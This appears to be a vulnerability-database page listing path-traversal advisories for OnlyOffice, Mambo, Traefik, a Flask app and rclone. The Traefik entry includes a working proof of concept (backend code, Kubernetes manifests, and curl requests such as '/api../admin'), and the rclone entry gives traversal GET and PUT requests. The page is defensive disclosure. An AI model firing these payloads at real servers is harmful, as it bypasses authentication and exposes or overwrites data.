Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13549 vulnerabilities reference this CWE, most recent first.

GHSA-8RX2-C38V-6HM8

Vulnerability from github – Published: 2023-06-22 12:30 – Updated: 2024-04-04 05:00
VLAI
Details

Onlyoffice Community Server before v12.5.2 was discovered to contain a remote code execution (RCE) vulnerability via the component UploadProgress.ashx.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-34939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-22T12:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "Onlyoffice Community Server before v12.5.2 was discovered to contain a remote code execution (RCE) vulnerability via the component UploadProgress.ashx.",
  "id": "GHSA-8rx2-c38v-6hm8",
  "modified": "2024-04-04T05:00:33Z",
  "published": "2023-06-22T12:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ONLYOFFICE/CommunityServer/blob/master/CHANGELOG.md#version-1252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/firsov/onlyoffice"
    },
    {
      "type": "WEB",
      "url": "https://github.com/firsov/onlyoffice/blob/main/CVE-2023-34939-PoC.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8RXR-VP8F-W2VQ

Vulnerability from github – Published: 2022-05-14 01:10 – Updated: 2022-05-14 01:10
VLAI
Details

A vulnerability in Mambo CMS v4.6.5 where the scripts thumbs.php, editorFrame.php, editor.php, images.php, manager.php discloses the root path of the webserver.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-2565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-15T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Mambo CMS v4.6.5 where the scripts thumbs.php, editorFrame.php, editor.php, images.php, manager.php discloses the root path of the webserver.",
  "id": "GHSA-8rxr-vp8f-w2vq",
  "modified": "2022-05-14T01:10:11Z",
  "published": "2022-05-14T01:10:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2565"
    },
    {
      "type": "WEB",
      "url": "http://sourceforge.net/projects/mambo"
    },
    {
      "type": "WEB",
      "url": "http://www.vapidlabs.com/advisory.php?v=75"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8RXV-JG7P-WVG3

Vulnerability from github – Published: 2026-08-06 16:45 – Updated: 2026-08-06 16:45
VLAI
Summary
Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass
Details

Summary

There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the nginx.ingress.kubernetes.io/rewrite-target annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path /api(.*) with rewrite target /$1), the generated RewriteTarget middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.8

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router. For example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow: 1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment. 2. The public router's `PathRegexp("(?i)^/api(.*)")` rule matches. 3. `RewriteTarget` captures `../admin` and creates `/../admin`. 4. The middleware forwards `/../admin` without checking whether path normalization changes it. 5. A backend that normalizes paths resolves `/../admin` to `/admin`. 6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth. This is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release. ## Severity **Proposed severity:** Critical **CVSS 3.1:** 9.1 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` - Attack vector: Network - Attack complexity: Low once the affected routing pattern exists - Privileges required: None - User interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: None **Primary weakness:** CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) **Secondary weakness:** CWE-288 — Authentication Bypass Using an Alternate Path or Channel The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower. ### Exploitation Preconditions - The Kubernetes Ingress NGINX provider is enabled. - A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`. - A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware. - The backend normalizes dot segments before dispatching the request. These are deployment prerequisites; the remote attacker needs no credentials or special timing. ## Affected Components ### Confirmed versions - Traefik v3.7.0 through v3.7.7 - Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195` - Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038` The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation. ### Code locations - `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274` - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration. - `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157` - Performs capture-based path rewriting and forwards the rewritten path without normalization validation. - `pkg/server/middleware/middlewares.go:346-353` - Instantiates the vulnerable middleware in the live HTTP chain. ## Root Cause The provider passes the route regex and annotation replacement into the middleware:
loc.RewriteTarget = &dynamic.RewriteTarget{
    Regex:       loc.Path,
    Replacement: rewrite,
}
`RewriteTarget.ServeHTTP` then derives a path from attacker-controlled capture groups:
newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)

req.URL.RawPath = newTarget
req.URL.Path, err = url.PathUnescape(req.URL.RawPath)
req.RequestURI = req.URL.RequestURI()

rt.next.ServeHTTP(rw, req)
There is no invariant check between `PathUnescape` and forwarding to ensure that `req.URL.Path` equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered. The core `ReplacePathRegex` middleware now enforces this invariant by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization changes the replacement. `RewriteTarget` implements equivalent capture-based behavior but lacks that check. Default `entryPoints..http.sanitizePath=true` does not prevent this issue. Sanitization occurs before routing and before `RewriteTarget` creates the traversal sequence. ## Impact An unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow: - reading administrative or sensitive data; - invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE; - bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router; - crossing intended public/protected path boundaries with one HTTP request. The middleware is method-agnostic, so the issue is not limited to read-only requests. ## Proof of Concept ### Validation Environment - Traefik v3.7.7 official Linux amd64 release - Release archive SHA-256 verified as `5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba` - Default `sanitizePath=true` - Node.js v24 backend - Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture No Traefik source files were modified. ### 1. Create the normalizing backend Save as `backend.js`:
const http = require("http");
const path = require("path");

http.createServer((req, res) => {
  const rawPath = req.url.split("?", 1)[0];
  const normalizedPath = path.posix.normalize(rawPath);
  const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");

  const body = JSON.stringify({
    rawPath,
    normalizedPath,
    result: protectedPath ? "ADMIN_SECRET_DATA" : "PUBLIC",
  });

  res.writeHead(200, { "Content-Type": "application/json" });
  res.end(body);
}).listen(19090, "127.0.0.1");
Run it:
node backend.js
### 2. Apply the Kubernetes objects The `ExternalName` service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.
apiVersion: v1
kind: Secret
metadata:
  name: basic-auth
  namespace: default
type: Opaque
stringData:
  auth: |
    admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: default
spec:
  type: ExternalName
  externalName: localhost
  ports:
    - name: http
      port: 19090
      targetPort: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: public-api
  namespace: default
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/use-regex: "true"
    nginx.ingress.kubernetes.io/rewrite-target: "/$1"
spec:
  rules:
    - http:
        paths:
          - path: /api(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: backend
                port:
                  number: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: protected-admin
  namespace: default
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/auth-type: basic
    nginx.ingress.kubernetes.io/auth-secret: basic-auth
    nginx.ingress.kubernetes.io/auth-realm: Authentication Required
spec:
  rules:
    - http:
        paths:
          - path: /admin
            pathType: Prefix
            backend:
              service:
                name: backend
                port:
                  number: 19090
kubectl apply -f poc.yaml
### 3. Run unmodified Traefik v3.7.7
KUBECONFIG="$HOME/.kube/config" ./traefik \
  --entryPoints.web.address=127.0.0.1:18080 \
  --providers.kubernetesIngressNginx.watchNamespace=default \
  --providers.kubernetesIngressNginx.httpEntryPoint=web \
  --global.checkNewVersion=false \
  --log.level=DEBUG
Traefik generates the following relevant dynamic configuration:
{
  "rule": "PathRegexp(\"(?i)^/api(.*)\")",
  "middlewares": ["...-rewrite-target"],
  "rewriteTarget": {
    "regex": "/api(.*)",
    "replacement": "/$1"
  }
}
The protected router separately contains a BasicAuth middleware and a `PathRegexp("(?i)^/admin")` rule. ### 4. Confirm authentication is enforced
curl --path-as-is -i http://127.0.0.1:18080/admin
Observed:
HTTP/1.1 401 Unauthorized
### 5. Exploit the traversal rewrite Plain variant:
curl --path-as-is -i http://127.0.0.1:18080/api../admin
Observed:
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
Percent-encoded variant:
curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
Observed:
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200. ## Remediation Apply the same post-rewrite normalization invariant used by the patched `ReplacePathRegex` middleware. After decoding `RawPath`, normalize a copy and reject the request if normalization changes `Path`:
path := req.URL.Path
if path != "" {
    req.URL = req.URL.JoinPath()
}

if path != req.URL.Path {
    logger.Debug().Msgf(
        "Rejecting request, normalized path %q differs from rewritten path %q",
        req.URL.Path,
        path,
    )
    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

req.RequestURI = req.URL.RequestURI()
Recommended additional actions: 1. Centralize the post-transformation path validation used by `ReplacePathRegex`, `StripPrefix`, `StripPrefixRegex`, and ingress-nginx `RewriteTarget` to prevent future drift. 2. Add regression tests for `/api../admin` and `/api%2e%2e/admin`, expecting HTTP 400. 3. Test both `URL.Path` and `URL.RawPath` cases and preserve legitimate encoded-path behavior. 4. Audit the ingress-nginx snippet `rewrite` implementation for the same post-rewrite invariant. ### Temporary Mitigation Use a regex that requires a separator or end-of-path before captured user data, for example:
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$2"

# Ingress path:
path: /api(/|$)(.*)
This prevents `/api../admin` from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point `sanitizePath=true` alone is not a mitigation because the dangerous dot segment is created after sanitization. ## Duplicate Check As of 2026-07-09: - Traefik's public security advisories contain no entry mentioning `RewriteTarget` or ingress-nginx `rewrite-target` path traversal. - Public issue and pull-request searches found no report for this path-normalization bypass. - GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes `pkg/middlewares/replacepathregex`, while this report affects `pkg/middlewares/ingressnginx/rewritetarget` and reproduces on the version that contains that fix, v3.7.7. ## Disclosure If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:45:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Ingress NGINX provider. When an Ingress uses the `nginx.ingress.kubernetes.io/rewrite-target` annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path `/api(.*)` with rewrite target `/$1`), the generated `RewriteTarget` middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.\n\nFor example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow:\n\n1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment.\n2. The public router\u0027s `PathRegexp(\"(?i)^/api(.*)\")` rule matches.\n3. `RewriteTarget` captures `../admin` and creates `/../admin`.\n4. The middleware forwards `/../admin` without checking whether path normalization changes it.\n5. A backend that normalizes paths resolves `/../admin` to `/admin`.\n6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth.\n\nThis is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.\n\n## Severity\n\n**Proposed severity:** Critical\n\n**CVSS 3.1:** 9.1 \u2014 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n- Attack vector: Network\n- Attack complexity: Low once the affected routing pattern exists\n- Privileges required: None\n- User interaction: None\n- Scope: Unchanged\n- Confidentiality: High\n- Integrity: High\n- Availability: None\n\n**Primary weakness:** CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n**Secondary weakness:** CWE-288 \u2014 Authentication Bypass Using an Alternate Path or Channel\n\nThe practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.\n\n### Exploitation Preconditions\n\n- The Kubernetes Ingress NGINX provider is enabled.\n- A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`.\n- A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware.\n- The backend normalizes dot segments before dispatching the request.\n\nThese are deployment prerequisites; the remote attacker needs no credentials or special timing.\n\n## Affected Components\n\n### Confirmed versions\n\n- Traefik v3.7.0 through v3.7.7\n- Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195`\n- Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038`\n\nThe vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation.\n\n### Code locations\n\n- `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274`\n  - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration.\n- `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157`\n  - Performs capture-based path rewriting and forwards the rewritten path without normalization validation.\n- `pkg/server/middleware/middlewares.go:346-353`\n  - Instantiates the vulnerable middleware in the live HTTP chain.\n\n## Root Cause\n\nThe provider passes the route regex and annotation replacement into the middleware:\n\n```go\nloc.RewriteTarget = \u0026dynamic.RewriteTarget{\n    Regex:       loc.Path,\n    Replacement: rewrite,\n}\n```\n\n`RewriteTarget.ServeHTTP` then derives a path from attacker-controlled capture groups:\n\n```go\nnewTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)\n\nreq.URL.RawPath = newTarget\nreq.URL.Path, err = url.PathUnescape(req.URL.RawPath)\nreq.RequestURI = req.URL.RequestURI()\n\nrt.next.ServeHTTP(rw, req)\n```\n\nThere is no invariant check between `PathUnescape` and forwarding to ensure that `req.URL.Path` equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.\n\nThe core `ReplacePathRegex` middleware now enforces this invariant by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization changes the replacement. `RewriteTarget` implements equivalent capture-based behavior but lacks that check.\n\nDefault `entryPoints.\u003cname\u003e.http.sanitizePath=true` does not prevent this issue. Sanitization occurs before routing and before `RewriteTarget` creates the traversal sequence.\n\n## Impact\n\nAn unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:\n\n- reading administrative or sensitive data;\n- invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE;\n- bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router;\n- crossing intended public/protected path boundaries with one HTTP request.\n\nThe middleware is method-agnostic, so the issue is not limited to read-only requests.\n\n## Proof of Concept\n\n### Validation Environment\n\n- Traefik v3.7.7 official Linux amd64 release\n- Release archive SHA-256 verified as `5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba`\n- Default `sanitizePath=true`\n- Node.js v24 backend\n- Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture\n\nNo Traefik source files were modified.\n\n### 1. Create the normalizing backend\n\nSave as `backend.js`:\n\n```javascript\nconst http = require(\"http\");\nconst path = require(\"path\");\n\nhttp.createServer((req, res) =\u003e {\n  const rawPath = req.url.split(\"?\", 1)[0];\n  const normalizedPath = path.posix.normalize(rawPath);\n  const protectedPath = normalizedPath === \"/admin\" || normalizedPath.startsWith(\"/admin/\");\n\n  const body = JSON.stringify({\n    rawPath,\n    normalizedPath,\n    result: protectedPath ? \"ADMIN_SECRET_DATA\" : \"PUBLIC\",\n  });\n\n  res.writeHead(200, { \"Content-Type\": \"application/json\" });\n  res.end(body);\n}).listen(19090, \"127.0.0.1\");\n```\n\nRun it:\n\n```bash\nnode backend.js\n```\n\n### 2. Apply the Kubernetes objects\n\nThe `ExternalName` service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  name: basic-auth\n  namespace: default\ntype: Opaque\nstringData:\n  auth: |\n    admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: default\nspec:\n  type: ExternalName\n  externalName: localhost\n  ports:\n    - name: http\n      port: 19090\n      targetPort: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: public-api\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/use-regex: \"true\"\n    nginx.ingress.kubernetes.io/rewrite-target: \"/$1\"\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /api(.*)\n            pathType: ImplementationSpecific\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: protected-admin\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/auth-type: basic\n    nginx.ingress.kubernetes.io/auth-secret: basic-auth\n    nginx.ingress.kubernetes.io/auth-realm: Authentication Required\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /admin\n            pathType: Prefix\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n```\n\n```bash\nkubectl apply -f poc.yaml\n```\n\n### 3. Run unmodified Traefik v3.7.7\n\n```bash\nKUBECONFIG=\"$HOME/.kube/config\" ./traefik \\\n  --entryPoints.web.address=127.0.0.1:18080 \\\n  --providers.kubernetesIngressNginx.watchNamespace=default \\\n  --providers.kubernetesIngressNginx.httpEntryPoint=web \\\n  --global.checkNewVersion=false \\\n  --log.level=DEBUG\n```\n\nTraefik generates the following relevant dynamic configuration:\n\n```json\n{\n  \"rule\": \"PathRegexp(\\\"(?i)^/api(.*)\\\")\",\n  \"middlewares\": [\"...-rewrite-target\"],\n  \"rewriteTarget\": {\n    \"regex\": \"/api(.*)\",\n    \"replacement\": \"/$1\"\n  }\n}\n```\n\nThe protected router separately contains a BasicAuth middleware and a `PathRegexp(\"(?i)^/admin\")` rule.\n\n### 4. Confirm authentication is enforced\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 401 Unauthorized\n```\n\n### 5. Exploit the traversal rewrite\n\nPlain variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api../admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nPercent-encoded variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nThe direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.\n\n## Remediation\n\nApply the same post-rewrite normalization invariant used by the patched `ReplacePathRegex` middleware. After decoding `RawPath`, normalize a copy and reject the request if normalization changes `Path`:\n\n```go\npath := req.URL.Path\nif path != \"\" {\n    req.URL = req.URL.JoinPath()\n}\n\nif path != req.URL.Path {\n    logger.Debug().Msgf(\n        \"Rejecting request, normalized path %q differs from rewritten path %q\",\n        req.URL.Path,\n        path,\n    )\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n\nreq.RequestURI = req.URL.RequestURI()\n```\n\nRecommended additional actions:\n\n1. Centralize the post-transformation path validation used by `ReplacePathRegex`, `StripPrefix`, `StripPrefixRegex`, and ingress-nginx `RewriteTarget` to prevent future drift.\n2. Add regression tests for `/api../admin` and `/api%2e%2e/admin`, expecting HTTP 400.\n3. Test both `URL.Path` and `URL.RawPath` cases and preserve legitimate encoded-path behavior.\n4. Audit the ingress-nginx snippet `rewrite` implementation for the same post-rewrite invariant.\n\n### Temporary Mitigation\n\nUse a regex that requires a separator or end-of-path before captured user data, for example:\n\n```yaml\nnginx.ingress.kubernetes.io/use-regex: \"true\"\nnginx.ingress.kubernetes.io/rewrite-target: \"/$2\"\n\n# Ingress path:\npath: /api(/|$)(.*)\n```\n\nThis prevents `/api../admin` from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point `sanitizePath=true` alone is not a mitigation because the dangerous dot segment is created after sanitization.\n\n## Duplicate Check\n\nAs of 2026-07-09:\n\n- Traefik\u0027s public security advisories contain no entry mentioning `RewriteTarget` or ingress-nginx `rewrite-target` path traversal.\n- Public issue and pull-request searches found no report for this path-normalization bypass.\n- GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes `pkg/middlewares/replacepathregex`, while this report affects `pkg/middlewares/ingressnginx/rewritetarget` and reproduces on the version that contains that fix, v3.7.7.\n\n## Disclosure\n\nIf confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-8rxv-jg7p-wvg3",
  "modified": "2026-08-06T16:45:53Z",
  "published": "2026-08-06T16:45:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67309"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/759515bec1b9f628b21ea8968ef63da853be5e29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass"
}

GHSA-8RXW-VMR9-99M6

Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00
VLAI
Details

The meerstein/rbtm repository through 1.5 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-11T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The meerstein/rbtm repository through 1.5 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
  "id": "GHSA-8rxw-vmr9-99m6",
  "modified": "2022-07-16T00:00:25Z",
  "published": "2022-07-12T00:00:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31544"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8V25-V8P6-QF7V

Vulnerability from github – Published: 2026-08-05 20:27 – Updated: 2026-08-05 20:27
VLAI
Summary
rclone: Path traversal in serve s3 allows reading and overwriting root-level files
Details

Summary

rclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket "bucket", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT.

Details

The affected component is rclone serve s3.

Relevant source files:

cmd/serve/s3/backend.go cmd/serve/s3/multipart.go cmd/serve/s3/list.go

In cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join:

fp := path.Join(bucketName, objectName)

This pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.

S3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory.

For example, when rclone serve s3 is serving a root directory that contains:

root/ bucket/ root-secret.txt

a raw S3 HTTP request to:

GET /bucket/../root-secret.txt

is parsed as a request for bucket "bucket" and object "../root-secret.txt". The backend then calculates:

path.Join("bucket", "../root-secret.txt") == "root-secret.txt"

This causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key.

The same behavior affects writes. A request such as:

PUT /bucket/../root-secret.txt

overwrites root-secret.txt in the serve root.

This is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects.

PoC

PoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing

Test environment:

Windows 11 rclone v1.74.3 official Windows binary rclone serve s3 using a local filesystem root No --auth-key configured, so the server allows anonymous access as documented

  1. Prepare a test serve root:

